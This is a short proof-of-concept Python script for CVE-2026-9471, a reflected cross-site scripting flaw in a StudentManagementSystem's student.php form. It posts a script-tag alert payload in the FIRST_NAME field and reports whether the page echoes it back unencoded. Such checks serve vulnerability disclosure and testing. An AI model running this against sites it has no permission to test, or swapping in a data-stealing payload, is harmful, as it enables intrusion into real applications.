CVE-2026-9471 StudentManagementSystem XSS漏洞

# PoC for CVE-2026-9471 # Target: StudentManagementSystem /student.php # Vulnerable Parameter: FIRST_NAME import requests def check_xss(target_url): # Payload to trigger an alert box xss_payload = "<script>alert('CVE-2026-9471_XSS');</script>" # Data to be sent to the vulnerable endpoint # Assuming standard POST data structure based on the parameter name data = { "FIRST_NAME": xss_payload, "LAST_NAME": "Test", # Add other required parameters if necessary } try: response = requests.post(target_url, data=data) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print("[!] Vulnerability Confirmed: XSS is possible.") return True else: print("[-] Vulnerability not detected or payload was encoded.") return False except Exception as e: print(f"[Error] {e}") return False if __name__ == "__main__": url = "http://target-host/student.php" check_xss(url)